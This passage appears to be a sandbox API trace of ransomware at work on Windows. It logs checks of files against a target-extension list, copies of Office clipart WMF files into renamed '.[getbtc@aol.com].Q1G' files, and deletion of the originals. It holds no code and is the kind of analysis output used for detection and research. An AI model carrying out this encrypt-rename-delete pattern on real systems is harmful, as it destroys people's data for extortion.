returned 1 [0253.659] lstrlenW (lpString=".xlsx") returned 5 [0253.659] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0253.659] lstrlenW (lpString=".ppt") returned 4 [0253.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0253.659] lstrlenW (lpString=".zip") returned 4 [0253.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.659] lstrlenW (lpString=".rar") returned 4 [0253.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.659] lstrlenW (lpString=".bz2") returned 4 [0253.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.659] lstrlenW (lpString=".7z") returned 3 [0253.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0253.659] lstrlenW (lpString=".dbf") returned 4 [0253.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0253.660] lstrlenW (lpString=".1cd") returned 4 [0253.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0253.660] lstrlenW (lpString=".jpg") returned 4 [0253.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.660] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.660] lstrlenW (lpString="J0090777.WMF") returned 12 [0253.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0253.660] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=3332) returned 1 [0253.660] CloseHandle (hObject=0x3b8) returned 1 [0253.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf")) returned 0x20 [0253.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0253.661] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.662] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.662] GetLastError () returned 0x0 [0253.662] ReadFile (in: hFile=0x3b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xd04, lpOverlapped=0x0) returned 1 [0253.664] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xd10, lpOverlapped=0x0) returned 1 [0253.665] ReadFile (in: hFile=0x3b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.665] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.665] SetEndOfFile (hFile=0x3a0) returned 1 [0253.665] CloseHandle (hObject=0x3a0) returned 1 [0253.665] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.665] SetEndOfFile (hFile=0x3b8) returned 1 [0253.667] CloseHandle (hObject=0x3b8) returned 1 [0253.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0253.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0253.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0253.668] lstrlenW (lpString=".doc") returned 4 [0253.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.668] lstrlenW (lpString=".docx") returned 5 [0253.668] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0253.668] lstrlenW (lpString=".pdf") returned 4 [0253.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.668] lstrlenW (lpString=".xls") returned 4 [0253.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.668] lstrlenW (lpString=".xlsx") returned 5 [0253.668] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0253.668] lstrlenW (lpString=".ppt") returned 4 [0253.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0253.668] lstrlenW (lpString=".zip") returned 4 [0253.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.668] lstrlenW (lpString=".rar") returned 4 [0253.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.668] lstrlenW (lpString=".bz2") returned 4 [0253.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.668] lstrlenW (lpString=".7z") returned 3 [0253.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0253.668] lstrlenW (lpString=".dbf") returned 4 [0253.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0253.668] lstrlenW (lpString=".1cd") returned 4 [0253.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0253.669] lstrlenW (lpString=".jpg") returned 4 [0253.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0253.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0253.669] lstrlenW (lpString=".doc") returned 4 [0253.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.669] lstrlenW (lpString=".docx") returned 5 [0253.669] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0253.669] lstrlenW (lpString=".pdf") returned 4 [0253.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.669] lstrlenW (lpString=".xls") returned 4 [0253.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.669] lstrlenW (lpString=".xlsx") returned 5 [0253.669] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0253.669] lstrlenW (lpString=".ppt") returned 4 [0253.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0253.669] lstrlenW (lpString=".zip") returned 4 [0253.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.669] lstrlenW (lpString=".rar") returned 4 [0253.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.669] lstrlenW (lpString=".bz2") returned 4 [0253.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.669] lstrlenW (lpString=".7z") returned 3 [0253.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0253.669] lstrlenW (lpString=".dbf") returned 4 [0253.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0253.669] lstrlenW (lpString=".1cd") returned 4 [0253.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0253.669] lstrlenW (lpString=".jpg") returned 4 [0253.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.670] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.670] lstrlenW (lpString="J0090779.WMF") returned 12 [0253.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0253.670] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=1456) returned 1 [0253.670] CloseHandle (hObject=0x3b8) returned 1 [0253.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 0x20 [0253.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0253.671] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.671] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.671] GetLastError () returned 0x0 [0253.671] ReadFile (in: hFile=0x3b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x5b0, lpOverlapped=0x0) returned 1 [0253.891] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0253.893] ReadFile (in: hFile=0x3b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.893] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.893] SetEndOfFile (hFile=0x3a0) returned 1 [0253.893] CloseHandle (hObject=0x3a0) returned 1 [0253.894] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.894] SetEndOfFile (hFile=0x3b8) returned 1 [0253.896] CloseHandle (hObject=0x3b8) returned 1 [0253.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0253.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0253.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0253.897] lstrlenW (lpString=".doc") returned 4 [0253.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.898] lstrlenW (lpString=".docx") returned 5 [0253.898] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0253.898] lstrlenW (lpString=".pdf") returned 4 [0253.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.898] lstrlenW (lpString=".xls") returned 4 [0253.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.898] lstrlenW (lpString=".xlsx") returned 5 [0253.898] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0253.898] lstrlenW (lpString=".ppt") returned 4 [0253.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0253.898] lstrlenW (lpString=".zip") returned 4 [0253.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.898] lstrlenW (lpString=".rar") returned 4 [0253.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.898] lstrlenW (lpString=".bz2") returned 4 [0253.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.898] lstrlenW (lpString=".7z") returned 3 [0253.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0253.898] lstrlenW (lpString=".dbf") returned 4 [0253.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0253.898] lstrlenW (lpString=".1cd") returned 4 [0253.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0253.898] lstrlenW (lpString=".jpg") returned 4 [0253.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0253.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0253.898] lstrlenW (lpString=".doc") returned 4 [0253.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.898] lstrlenW (lpString=".docx") returned 5 [0253.898] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0253.898] lstrlenW (lpString=".pdf") returned 4 [0253.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.899] lstrlenW (lpString=".xls") returned 4 [0253.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.899] lstrlenW (lpString=".xlsx") returned 5 [0253.899] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0253.899] lstrlenW (lpString=".ppt") returned 4 [0253.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0253.899] lstrlenW (lpString=".zip") returned 4 [0253.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.899] lstrlenW (lpString=".rar") returned 4 [0253.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.899] lstrlenW (lpString=".bz2") returned 4 [0253.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.899] lstrlenW (lpString=".7z") returned 3 [0253.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0253.899] lstrlenW (lpString=".dbf") returned 4 [0253.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0253.899] lstrlenW (lpString=".1cd") returned 4 [0253.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0253.899] lstrlenW (lpString=".jpg") returned 4 [0253.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.899] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.899] lstrlenW (lpString="J0099149.WMF") returned 12 [0253.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0254.035] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=73214) returned 1 [0254.035] CloseHandle (hObject=0x1fc) returned 1 [0254.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 0x20 [0254.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0254.174] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.174] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.174] GetLastError () returned 0x0 [0254.174] ReadFile (in: hFile=0x3cc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x11dfe, lpOverlapped=0x0) returned 1 [0254.180] WriteFile (in: hFile=0x3d0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x11e00, lpOverlapped=0x0) returned 1 [0254.182] ReadFile (in: hFile=0x3cc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.182] WriteFile (in: hFile=0x3d0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.182] SetEndOfFile (hFile=0x3d0) returned 1 [0254.182] CloseHandle (hObject=0x3d0) returned 1 [0254.182] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.182] SetEndOfFile (hFile=0x3cc) returned 1 [0254.186] CloseHandle (hObject=0x3cc) returned 1 [0254.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 1 [0254.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0254.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0254.187] lstrlenW (lpString=".doc") returned 4 [0254.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.187] lstrlenW (lpString=".docx") returned 5 [0254.187] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0254.187] lstrlenW (lpString=".pdf") returned 4 [0254.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.187] lstrlenW (lpString=".xls") returned 4 [0254.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.187] lstrlenW (lpString=".xlsx") returned 5 [0254.187] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0254.187] lstrlenW (lpString=".ppt") returned 4 [0254.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0254.187] lstrlenW (lpString=".zip") returned 4 [0254.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.187] lstrlenW (lpString=".rar") returned 4 [0254.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.187] lstrlenW (lpString=".bz2") returned 4 [0254.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.187] lstrlenW (lpString=".7z") returned 3 [0254.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0254.187] lstrlenW (lpString=".dbf") returned 4 [0254.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0254.187] lstrlenW (lpString=".1cd") returned 4 [0254.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0254.187] lstrlenW (lpString=".jpg") returned 4 [0254.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0254.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0254.188] lstrlenW (lpString=".doc") returned 4 [0254.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.188] lstrlenW (lpString=".docx") returned 5 [0254.188] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0254.188] lstrlenW (lpString=".pdf") returned 4 [0254.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.188] lstrlenW (lpString=".xls") returned 4 [0254.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.188] lstrlenW (lpString=".xlsx") returned 5 [0254.188] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0254.188] lstrlenW (lpString=".ppt") returned 4 [0254.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0254.188] lstrlenW (lpString=".zip") returned 4 [0254.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.188] lstrlenW (lpString=".rar") returned 4 [0254.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.188] lstrlenW (lpString=".bz2") returned 4 [0254.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 